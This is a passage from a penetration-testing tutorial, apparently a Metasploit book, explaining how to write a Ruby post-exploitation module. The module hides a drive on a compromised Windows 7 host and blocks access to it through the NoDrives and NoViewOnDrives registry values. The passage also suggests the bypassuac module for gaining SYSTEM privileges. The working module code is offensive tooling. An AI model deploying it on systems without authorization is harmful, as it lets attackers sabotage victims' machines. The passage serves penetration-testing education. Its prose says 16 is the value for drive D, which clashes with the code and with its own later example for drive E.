Writing a drive-disabler post-exploitation module
As we have now seen the basics of module building, we can go a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target has been compromised successfully.
So, let's begin with a simple drive-disabler module, which will disable the selected drive at the target system, which is a Windows 7 OS. Let's see the code for the module, as follows:
require 'rex' require 'msf/core/post/windows/registry' class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Name' => 'Drive Disabler', 'Description' => 'This Modules Hides and Restrict Access to a Drive', 'License' => MSF_LICENSE, 'Author' => 'Nipun Jaswal' ) register_options( [ OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ]) ]) end
We started in the same way as we did in the previous modules. We added the path to all the required libraries we needed for this post-exploitation module. Let's see any new inclusion and their usage in the following table:
Let's see the remaining part of the module:
def run drive_int = drive_string(datastore['DriveName']) key1="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" exists = meterpreter_registry_key_exist?(key1) if not exists print_error("Key Doesn't Exist, Creating Key!") registry_createkey(key1) print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) else print_good("Key Exist, Skipping and Creating Values") print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) end print_good("Disabled #{datastore['DriveName']} Drive") end
We generally run a post-exploitation module using the run method. So, defining run, we send the DriveName variable to the drive_string method to get the numeric value for the drive.
We created a variable called key1 and stored the path of the registry in it. We will use meterpreter_registry_key_exist to check if the key already exists in the system or not.
If the key exists, the value of the exists variable is assigned true or false. In case the value of the exists variable is false, we create the key using registry_createkey(key1) and then proceed to create the values. However, if the condition is true, we simply create the values.
To hide drives and restrict access, we need to create two registry values that are NoDrives and NoViewOnDrive, with the value of the drive letter in decimal or hexadecimal from, and its type as DWORD.
We can do this using meterpreter_registry_setvaldata since we are using the meterpreter shell. We need to supply five parameters to the meterpreter_registry_setvaldata function to ensure its proper functioning. These parameters are the key path as a string, name of the registry value as a string, decimal value of the drive letter as a string, type of registry value as a string, and the view as an integer value, which would be 0 for native, 1 for 32-bit view, and 2 for 64-bit view.
An example of meterpreter_registry_setvaldata can be broken down as follows:
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
In the preceding code, we set the path as key1, the value as NoViewOnDrives, 16 as a decimal for drive D, REG_DWORD as the type of registry, and REGISTRY_VIEW_NATIVE, which supplies 0.
For 32-bit registry access, we need to provide 1 as the view parameter, and for 64-bit, we need to supply 2. However, this can be done using REGISTRY_VIEW_32_BIT and REGISTRY_VIEW_64_BIT, respectively.
You might be wondering how we knew that for drive E we need to have the value of the bitmask as 16? Let's see how the bitmask can be calculated in the following section.
To calculate the bitmask for a particular drive, we have the formula 2^([drive character serial number]-1). Suppose we need to disable drive E; we know that character E is the fifth character in the alphabet. Therefore, we can calculate the exact bitmask value for disabling drive E, as follows:
2^ (5-1) = 2^4= 16
The bitmask value is 16 for disabling E drive. However, in the preceding module, we hardcoded a few values in the drive_string method using the case switch. Let's see how we did that:
def drive_string(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 end end end
We can see that the previous method takes a drive letter as an argument and returns its corresponding numeral to the calling function. Let see how many drives there are at the target system:
We can see we have two drives, drive C and drive E. Let's also check the registry entries where we will be writing the new keys with our module:
We can see we don't have an explorer key yet. Let's run the module, as follows:
We can see that the key doesn't exist and, according to the execution of our module, it should have written the keys in the registry. Let's check the registry once again:
We can see we have the keys present. Upon logging out and logging back into the system, drive E should have disappeared. Let's check:
No signs of drive E. Hence, we successfully disabled drive E from the user's view, and restricted access to the same.
We can create as many post-exploitation modules as we want according to our needs. I recommend you put some extra time towards the libraries of Metasploit.
Make sure that you have SYSTEM-level access for the preceding script to work, as SYSTEM privileges will not create the registry under the current user, but will create it on the local machine. In addition to this, we have used HKLM instead of writing HKEY_LOCAL_MACHINE, because of the inbuilt normalization that will automatically create the full form of the key. I recommend that you check the registry.rb file to see the various available methods.
If you don't have system privileges, try using the exploit/windows/local/bypassuac module and switch to the escalated shell, and then try the preceding module.